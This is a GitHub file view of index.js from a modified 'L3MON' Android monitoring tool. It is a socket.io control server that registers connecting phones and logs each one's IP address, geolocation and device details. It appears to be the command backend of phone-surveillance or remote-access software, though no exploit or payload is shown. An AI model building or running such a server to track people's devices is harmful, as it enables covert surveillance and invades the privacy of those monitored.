-
Notifications
You must be signed in to change notification settings - Fork 143
Expand file tree
/
Copy pathindex.js
More file actions
88 lines (77 loc) · 2.57 KB
/
index.js
File metadata and controls
88 lines (77 loc) · 2.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
/*
* L3MON Mod by Techncyber.com
* An Android Monitoring Tool
* Origianlly Developed by https://github.com/D3VL/L3MON
*/
const e = require("express");
const express = require("express"),
app = express(),
server = require("http").createServer(app),
IO = require("socket.io")(server),
// IO = require("socket.io"),
path = require("path"),
geoip = require("geoip-lite"),
CONST = require(path.join(__dirname, "/includes/const")),
db = require(path.join(__dirname, "/includes/databaseGateway")),
logManager = require(path.join(__dirname, "/includes/logManager")),
clientManager = new (require(path.join(
__dirname,
"/includes/clientManager"
)))(db);
// apkBuilder = require("./includes/apkBuilder");
const port = process.env.PORT || CONST.web_port;
global.CONST = CONST;
global.db = db;
global.logManager = logManager;
global.app = app;
global.clientManager = clientManager;
// global.apkBuilder = apkBuilder;
// spin up socket server
// let client_io = IO.listen(CONST.control_port);
IO.sockets.pingInterval = 30000;
IO.on("connection", (socket) => {
socket.emit("welcome");
// console.log(socket.handshake.headers["x-forwarded-for"]);
let clientIP = socket.handshake.headers["x-forwarded-for"];
if (clientIP == undefined) {
clientIP = "0.0.0.0";
}
let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection;
// let clientIP = clientAddress.remoteAddress.substring(
// clientAddress.remoteAddress.lastIndexOf(":") + 1
// );
let clientGeo = geoip.lookup(clientIP);
if (!clientGeo) clientGeo = {};
clientManager.clientConnect(socket, clientParams.id, {
clientIP,
clientGeo,
device: {
model: clientParams.model,
manufacture: clientParams.manf,
version: clientParams.release,
},
});
if (CONST.debug) {
var onevent = socket.onevent;
socket.onevent = function (packet) {
var args = packet.data || [];
onevent.call(this, packet); // original call
packet.data = ["*"].concat(args);
onevent.call(this, packet); // additional call to catch-all
};
socket.on("*", function (event, data) {
console.log(event);
console.log(data);
});
}
});
// get the admin interface online
// app.listen(port, () => {
// `App running on port http://localhost:${port}`;
// });
server.listen(port, () => console.log(`listening on port ${port}`));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "/assets/views"));
app.use(express.static(__dirname + "/assets/webpublic"));
app.use(require(path.join(__dirname, "/includes/expressRoutes")));